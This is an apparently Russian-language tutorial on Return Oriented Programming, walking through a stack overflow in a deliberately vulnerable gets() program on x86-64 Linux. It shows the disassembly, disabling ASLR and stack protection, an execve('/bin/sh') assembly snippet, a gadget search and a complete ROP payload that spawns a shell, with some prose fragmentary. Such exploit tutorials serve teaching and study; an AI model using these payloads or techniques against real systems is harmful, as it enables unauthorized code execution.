Введение
В этой статье мы попробуем разобраться как работает Return Oriented эксплоит. Тема, в принципе, так себе заезженная, и в инете валяется немало публикаций, но я постараюсь писать так, чтобы эта статья не была их простой компиляцией. По ходу нам придется разбираться с некоторыми системными особенностями Linux и архитектуры x86-64 (все нижеописанные эксперименты были проведены на Ubuntu 14.04). Основной целью будет эксплуатирование тривиальной уязвимости gets с помощью ROP (Return oriented programming).
Уязвимость
На самом деле понятно, что поиск уязвимостей — отдельная проблема. Неплохо было бы начать с того, чтобы придумать какую-нибудь простую уязвимость. Вот например функция gets(), входящая в стандартную библиотеку С, является одной большой уязвимостью, ей и воспользуемся.
#include <stdio.h>
#include <string.h>
int func()
{
int val = 0;
char buf[10];
gets(buf);
printf("%s\n", buf);
val = strlen(buf);
return val;
}
int main(int argc, char **argv) {
return func();
}
gcc -o main main.c -g -Wall -fno-stack-protector
main.c: In function 'func':
main.c:7:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
gets(buf);
^
/tmp/ccBFHgPN.o: In function `func':
/home/alexhoppus/Desktop/rop_tutorial/main.c:7: warning: the `gets' function is dangerous and should not be used.
objdump -d main
00000000004005bd <func>:
4005bd: 55 push %rbp
4005be: 48 89 e5 mov %rsp,%rbp
4005c1: 48 83 ec 10 sub $0x10,%rsp
4005c5: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
4005cc: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005d0: 48 89 c7 mov %rax,%rdi
4005d3: e8 e8 fe ff ff callq 4004c0 <gets@plt>
4005d8: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005dc: 48 89 c7 mov %rax,%rdi
4005df: e8 9c fe ff ff callq 400480 <puts@plt>
4005e4: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005e8: 48 89 c7 mov %rax,%rdi
4005eb: e8 a0 fe ff ff callq 400490 <strlen@plt>
4005f0: 89 45 fc mov %eax,-0x4(%rbp)
4005f3: 8b 45 fc mov -0x4(%rbp),%eax
4005f6: c9 leaveq
4005f7: c3 retq
00000000004005f8 <main>:
4005f8: 55 push %rbp
4005f9: 48 89 e5 mov %rsp,%rbp
4005fc: 48 83 ec 10 sub $0x10,%rsp
400600: 89 7d fc mov %edi,-0x4(%rbp)
400603: 48 89 75 f0 mov %rsi,-0x10(%rbp)
400607: b8 00 00 00 00 mov $0x0,%eax
40060c: e8 ac ff ff ff callq 4005bd <func>
400611: c9 leaveq
400612: c3 retq
400613: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40061a: 00 00 00
40061d: 0f 1f 00 nopl (%rax)
python -c "print 'a'*15" > input2
gdb ./main
(gdb) b func
Breakpoint 1 at 0x4005c5: file main.c, line 5.
(gdb) r < input2
(gdb) info register
...
rsp 0x7fffffffde90 0x7fffffffde90
...
(gdb) x/100x 0x7fffffffde90
0x7fffffffde90: 0x61616161 0x61616161 0x61616161 0x00616161
0x7fffffffdea0: 0xffffdec0 0x00007fff 0x00400611 0x00000000
0x7fffffffdeb0: 0xffffdfa8 0x00007fff 0x00000000 0x00000001
gcc -o main main.c -g -Wall
python -c "print 'a'*26" | ./main
aaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./main terminated
Aborted (core dumped)
000000000040062d <func>:
...
400635: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
40063c: 00 00
40063e: 48 89 45 f8 mov %rax,-0x8(%rbp)
...
400675: 48 8b 55 f8 mov -0x8(%rbp),%rdx
400679: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx
400680: 00 00
400682: 74 05 je 400689 <func+0x5c>
400684: e8 77 fe ff ff callq 400500 <__stack_chk_fail@plt>
400689: c9 leaveq
40068a: c3 retq
echo 0 > /proc/sys/kernel/randomize_va_space
Для упрощения её тоже придется отключить.section .text
global _start
_start:
mov rax, 0x3b
mov rdi, cmd
mov rsi, 0
mov rdx, 0
syscall
section .data
cmd: db '/bin/sh'
.end:
nasm -f elf64 exec1.S -o exec.o
ld -o exec exec.o
./exec
cat /proc/`pidof main`/maps | grep libc | grep r-xp
7ffff7a14000-7ffff7bcf000 r-xp 00000000 08:01 466797 /lib/x86_64-linux-gnu/libc-2.19.so
00400000-00401000 r-xp 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
00600000-00601000 r--p 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
00601000-00602000 rw-p 00001000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
mov qword [rdi], rdx
помещает "/bin//sh" по адресу 0x601000. Основная работа сделана — остальной код обнуляет значение регистров %rsi и %rdx (2 и 3 аргументы execve) и выполняет syscall. Таким образом, мы в 7 return'ов execнули ничего не подозревающий main и превратили его в /bin/sh../rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.19.so -r 2 | grep "pop rax"
...
0x0019d345: pop rax ; out dx, al ; jmp qword [rdx] ; (1 found)
0x000fafb9: pop rax ; pop rdi ; call rax ; (1 found)
0x000193b8: pop rax ; ret ; (1 found)
0x001a09c8: pop rax ; adc al, 0xF1 ; jmp qword [rax] ; (1 found)
...
python -c "print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'" | ./main
alexhoppus@hp:~/Desktop/rop_tutorial$ cat <(python -c "print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'") - | ./main
aaaaaaaaaaaaaaaaaaaaaaaa????
ls
Blank Flowchart - New Page (2).jpeg article~ exec1.S input main.c shell
a.out exec hello input2 rop.jpeg stack.jpeg
article
К сожалению, не доступен сервер mySQL